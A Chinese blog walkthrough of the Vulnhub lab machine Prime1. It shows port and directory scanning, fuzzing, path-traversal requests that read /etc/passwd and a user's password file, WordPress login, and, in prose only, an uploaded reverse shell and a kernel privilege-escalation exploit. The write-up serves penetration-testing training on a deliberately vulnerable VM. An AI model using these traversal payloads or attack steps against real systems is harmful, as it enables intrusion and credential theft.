靶机渗透之Prime1

最新推荐文章于 2024-03-18 17:35:28 发布
最新推荐文章于 2024-03-18 17:35:28 发布
阅读量219 收藏
点赞数
分类专栏： 靶机渗透 文章标签： 网络安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qi_qi14/article/details/131669401
版权

Prime

靶机渗透

主机发现

在这里插入图片描述
找到目标靶机ip地址为192.168.133.140

端口扫描

sudo nmap -min-rate 10000 -p- 192.168.133.140

Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 20:45 EDT
Nmap scan report for 192.168.133.140
Host is up (0.00076s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:EB:A5:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds

发现有两个开放端口
分别为22端口和80端口

扫描端口服务

sudo nmap -sT -sV -O -p22,80 192.168.133.140  
            
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 20:49 EDT
Nmap scan report for 192.168.133.140
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:EB:A5:7C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

端口UDP扫描

sudo nmap -sU -p22,80 192.168.133.140

Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 20:52 EDT
Nmap scan report for 192.168.133.140
Host is up (0.00029s latency).

PORT   STATE  SERVICE
22/udp closed ssh
80/udp closed http
MAC Address: 00:0C:29:EB:A5:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

漏洞脚本扫描

访问靶机80端口

在这里插入图片描述
在这里插入图片描述

目录爆破

sudo dirb http://192.168.133.140                                                                                   

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Jul 11 21:00:24 2023
URL_BASE: http://192.168.133.140/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.133.140/ ----
+ http://192.168.133.140/dev (CODE:200|SIZE:131)                                                                        
+ http://192.168.133.140/index.php (CODE:200|SIZE:136)                                                                  
==> DIRECTORY: http://192.168.133.140/javascript/                                                                       
+ http://192.168.133.140/server-status (CODE:403|SIZE:303)                                                              
==> DIRECTORY: http://192.168.133.140/wordpress/                                                                        
                                                                                                                        
---- Entering directory: http://192.168.133.140/javascript/ ----
==> DIRECTORY: http://192.168.133.140/javascript/jquery/                                                                
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/ ----
+ http://192.168.133.140/wordpress/index.php (CODE:301|SIZE:0)                                                          
==> DIRECTORY: http://192.168.133.140/wordpress/wp-admin/                                                               
==> DIRECTORY: http://192.168.133.140/wordpress/wp-content/                                                             
==> DIRECTORY: http://192.168.133.140/wordpress/wp-includes/                                                            
+ http://192.168.133.140/wordpress/xmlrpc.php (CODE:405|SIZE:42)                                                        
                                                                                                                        
---- Entering directory: http://192.168.133.140/javascript/jquery/ ----
+ http://192.168.133.140/javascript/jquery/jquery (CODE:200|SIZE:284394)                                                
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-admin/ ----
+ http://192.168.133.140/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                                                 
==> DIRECTORY: http://192.168.133.140/wordpress/wp-admin/css/                                                           
==> DIRECTORY: http://192.168.133.140/wordpress/wp-admin/images/                                                        
==> DIRECTORY: http://192.168.133.140/wordpress/wp-admin/includes/                                                      
+ http://192.168.133.140/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                                                 
==> DIRECTORY: http://192.168.133.140/wordpress/wp-admin/js/                                                            
==> DIRECTORY: http://192.168.133.140/wordpress/wp-admin/maint/                                                         
==> DIRECTORY: http://192.168.133.140/wordpress/wp-admin/network/                                                       
==> DIRECTORY: http://192.168.133.140/wordpress/wp-admin/user/                                                          
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-content/ ----
+ http://192.168.133.140/wordpress/wp-content/index.php (CODE:200|SIZE:0)                                               
==> DIRECTORY: http://192.168.133.140/wordpress/wp-content/plugins/                                                     
==> DIRECTORY: http://192.168.133.140/wordpress/wp-content/themes/                                                      
==> DIRECTORY: http://192.168.133.140/wordpress/wp-content/uploads/                                                     
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-admin/network/ ----
+ http://192.168.133.140/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                                         
+ http://192.168.133.140/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                                         
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-admin/user/ ----
+ http://192.168.133.140/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                                            
+ http://192.168.133.140/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                                            
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-content/plugins/ ----
+ http://192.168.133.140/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                                       
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-content/themes/ ----
+ http://192.168.133.140/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)                                        
                                                                                                                        
---- Entering directory: http://192.168.133.140/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Tue Jul 11 21:00:55 2023
DOWNLOADED: 46120 - FOUND: 15

http://192.168.133.140/dev

在这里插入图片描述

扫描指定扩展名

sudo dirb http://192.168.133.140 -X .zip,.txt  

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Jul 11 21:06:44 2023
URL_BASE: http://192.168.133.140/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.zip,.txt) | (.zip)(.txt) [NUM = 2]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.133.140/ ----
+ http://192.168.133.140/secret.txt (CODE:200|SIZE:412)                                                                 
                                                                                                                        
-----------------
END_TIME: Tue Jul 11 21:06:50 2023
DOWNLOADED: 9224 - FOUND: 1

访问得到
sudo curl http://192.168.133.140/secret.txt
Looks like you have got some secrets.

Ok I just want to do some help to you.

Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck
Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

//see the location.txt and you will get your next move//

根据提示对所有web页面进行fuzz

扫描web页面

sudo dirb http://192.168.133.140 -X .php

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Jul 11 21:21:35 2023
URL_BASE: http://192.168.133.140/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.133.140/ ----
+ http://192.168.133.140/image.php (CODE:200|SIZE:147)                                                                  
+ http://192.168.133.140/index.php (CODE:200|SIZE:136)                                                                  
                                                                                                                        
-----------------
END_TIME: Tue Jul 11 21:21:38 2023
DOWNLOADED: 4612 - FOUND: 2

对index页面和image页面，进行wfuzz，并过滤大范围出现的属性
得到index页面中的测试结果

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136  http://192.168.133.140/index.php?FUZZ= 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.133.140/index.php?FUZZ=
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                 
=====================================================================

000000341:   200        7 L      19 W       206 Ch      "file"                                                  

Total time: 0.862334
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 1102.820

在这里插入图片描述
根据提示

sudo curl http://192.168.133.140/index.php?file=location.txt
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>

Do something better <br><br><br><br><br><br>ok well Now you reah at the exact parameter <br><br>Now dig some more for next one <br>use 'secrettier360' parameter on some other php page for more fun.
</html>

use ‘secrettier360’ parameter on some other php page for more fun.
根据提示，在另一个页面进行访问
在这里插入图片描述

根据提示继续深挖

提示我们到了正确的位置，开始请求linux数据

sudo curl http://192.168.133.140/image.php?secrettier360=../../../../../../../../etc/passwd
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
victor:x:1000:1000:victor,,,:/home/victor:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
</html>

在这里插入图片描述

sudo curl http://192.168.133.140/image.php?secrettier360=../../../../../../../../home/saket/password.txt
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br>follow_the_ippsec
</html>

得到一个password：follow_the_ippsec

查找wordpress漏洞

进行扫描

sudo wpscan --url http://192.168.133.140/wordpress -e u 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.133.140/wordpress/ [192.168.133.140]
[+] Started: Tue Jul 11 21:51:25 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.133.140/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.133.140/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.133.140/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.133.140/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.133.140/wordpress/?feed=rss2, <generator>https://wordpress.org/?v=5.2.2</generator>
 |  - http://192.168.133.140/wordpress/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.2.2</generator>

[+] WordPress theme in use: twentynineteen
 | Location: http://192.168.133.140/wordpress/wp-content/themes/twentynineteen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://192.168.133.140/wordpress/wp-content/themes/twentynineteen/readme.txt
 | [!] The version is out of date, the latest version is 2.5
 | Style URL: http://192.168.133.140/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.4
 | Style Name: Twenty Nineteen
 | Style URI: https://wordpress.org/themes/twentynineteen/
 | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.133.140/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===========================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] victor
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Jul 11 21:51:28 2023
[+] Requests Done: 53
[+] Cached Requests: 6
[+] Data Sent: 14.231 KB
[+] Data Received: 497.22 KB
[+] Memory used: 174.789 MB
[+] Elapsed time: 00:00:03

通过扫描到的用：victor
加上之前得到的password：follow_the_ippsec进行尝试管理员后台登录
在这里插入图片描述
在这里插入图片描述
找到其中可以自己编写的上传的页面，上传一个反弹shell，获取bash权限

获取bash权限

在这里插入图片描述
开启监听端口
在这里插入图片描述
在这里插入图片描述
成功获得反弹shell

尝试内核提权

在这里插入图片描述
在这里插入图片描述
尝试进行漏洞提权
在这里插入图片描述
编译脚本，进行上传
在这里插入图片描述
开启80端口服务器
在这里插入图片描述
成功上传
在这里插入图片描述
发现无法执行已编译好的漏洞脚本，所有这里在靶机内进行编译执行，获得root权限
在这里插入图片描述

切换一个交互界面

在这里插入图片描述

成功获取到最后flag

在这里插入图片描述

七七高7777
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
hackthebox- kotarak（考点：信息搜集隐藏端口 & tom 上传 & 域文件解析 & wget-gnu 1.16提权 ）
冬萍子癸水
05-09 1147
1扫描搜集 普通nmap -A 扫。8009打不开，8080是汤姆猫，但是没密码。 没有多少价值信息，很可能端口扫描不全，于是速度版全端口再扫 masscan -p1-65535,U:1-65535 10.10.10.55 --rate=1000 -e tun0 多出来60000.进这个端口看，是个读任意http网页的搜索框工具。 dirbuster扫60000下的目录，看到有server status 通过搜索框，查看自己网站的server status 127.0.0.1:60000/server-
【vulnhub 靶场】prime1打靶记录
weixin_54603520的博客
05-09 280
【vulnhub 】---prime 靶场打靶记录
红队打靶：Prime1详细打靶思路之模糊测试+内核提权（vulnhub）
Bossfrank的博客
06-11 1434
本篇博客详述了vulnhub靶机prime1的打靶思路过程，并非简单复现writeup。打靶过程涉及到关于模糊测试及wfuzz工具的使用、文件包含漏洞利用、wordpress CMS、内核漏洞提权。有关OpenSSH渗透的方法将在下一篇博客中详述。
Vulnhub | 实战靶场渗透测试 - PRIME: 1
尼泊罗河伯的博客
06-01 1609
这台机器是为那些试图准备 OSCP 或 OSCP 考试的人设计的。这是素数系列的第一级。在每个阶段都会提供一些帮助。机器很长，因为 OSCP 和黑客的机器是设计的。因此，您有一个获取根标志和用户标志的目标。如果卡在某个点上，则会在枚举级别上提供一些帮助。
「红队笔记」靶机精讲：Prime1 - 信息收集和分析能力的试炼
m0_73612768的博客
12-12 1110
本文是作者在观看 B 站《红队笔记》后做的一些笔记及相关知识的补充。学渗透特别推荐大家去看。如有侵权，请联系作者，作者看到后会第一时间删除。
111
jackcily的博客
11-17 740
拓展：burp suite 攻击分为三步： 1.Fingerprinting 需要收集什么信息？ web application and technology in use 什么手段? 在进行实验之前，首先使用nmap 扫描一下 victim 对外开放的端口 nmap 10.0.2.10 扫描结果如下： Starting Nmap 7.70 ( https://nmap.org ) at 2018...
Vulnhub靶机渗透测试 Five-1靶机
12-07
Vulnhub靶机渗透测试 Five-1靶机
Vulnhub靶机渗透测试 DC-1靶机
03-05
Vulnhub靶机渗透测试 DC-1靶机
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
vulhub渗透测试靶机学习1
08-08
渗透测试靶机学习0x01 lampiao靶机准备环境靶机下载地址https://download.vulnhub.com/lampiao/Lampiao.zip
web渗透测试靶机（新手）
05-07
web渗透测试靶机（新手）
【vulnhub靶场】PRIME:1打靶过程记录
didiplus
07-17 2808
最近发现一个很有趣的靶场集合，里面涵盖了一些基本的漏洞，我们通过漏洞复现。了解一些网络安全的一些基本操作。
【学渗透靶机——prime】
jieli0901227的博客
05-13 237
提示使用secrettier360作为参数在每一个php 页面，有参数没有值，那我们就在index.php 和image.php 上测试文件包含漏洞。这台靶机开放端口 22 80 端口 使用nmap 扫描只有枚举的信息， 22 端口也没有账密信息 ，所以重点放在80端口上。接下来直接拿webshell,打开我们最喜欢的主题编辑器，翻了半天，只有secret.php 存在写权限,写入反弹shell。页面提示我挖错文件了，，那就尝试读取location.txt.，如下图。查看enc 文件 无读权限。
服务器漏洞渗透测试
m0_46363470的博客
03-27 6647
渗透测试 本教程仅用于学习，出现问题与本人无关 主机发现：使用工具进行IP扫描 namp -sP 环境的IP段(192.168.0.1/24) arp-scan -l 端口扫描 nmap -p 1-65535 -A 目标主机IP [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0dNBWl30-1648358293931)(P3.png)] 发现有22、80两个端口存在服务 先从80端口进行渗透发现是否存在漏洞 [外链图片转存失败,源站可能有防盗链机制,建议将图片保
kali-vulnhub:prime1
curme_miller的博客
01-22 3188
1.使用virtualbox打开后出现如下界面： 2.主要思路如下： 3.发现主机IP $ nmap -sP 192.168.0.1/24 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-22 08:50 EST Nmap scan report for 192.168.0.1 Host is up (0.0039s latency). Nmap scan report for 192.168.0.101 Host is up
alzheimer ---hackmyvm
m0_64253567的博客
07-23 180
hackmyvm ----alzheimer
红队笔记5-Prime1打靶流程-模糊测试+内核提权（vulnhub）
最新发布
qq_63442530的博客
03-18 933
学习的视频是哔哩哔哩红队笔记：「红队笔记」靶机精讲：Prime1 - 信息收集和分析能力的试炼，试试吧，按图索骥！_哔哩哔哩_bilibili打靶时参考文章和本文借鉴文章：红队打靶：Prime1详细打靶思路之模糊测试+内核提权（vulnhub）_prime1靶机-CSDN博客靶机下载链接见：https://download.vulnhub.com/sickos/sick0s1.1.7zSudo nmap -sn 192.168.254.0/24目标主机ip：192.254.168.1441.快速扫描发现存活
vulnhub靶场-Prime1
ad12456的博客
03-30 2817
靶场练习，
Vulnhub靶机：PRIME_ 1
LainWith的博客
12-10 605
Prime（此系列共1台）发布日期：2019年9月1日难度：初-中运行环境：VMware Workstation目标：取得 root 权限 + Flag主机发现端口扫描+漏洞扫描目录爆破文件扩展名爆破强制访问文件包含漏洞WordPress利用内核提权。
hackbox靶机渗透
10-15
好的，关于hackbox靶机渗透，我可以提供一些基本的信息和建议。首先，hackbox是一个虚拟机靶机，可以用于练习渗透测试技能。在渗透测试过程中，需要进行信息收集、漏洞扫描、漏洞利用等步骤。以下是一些可能有用的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

七七高7777

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值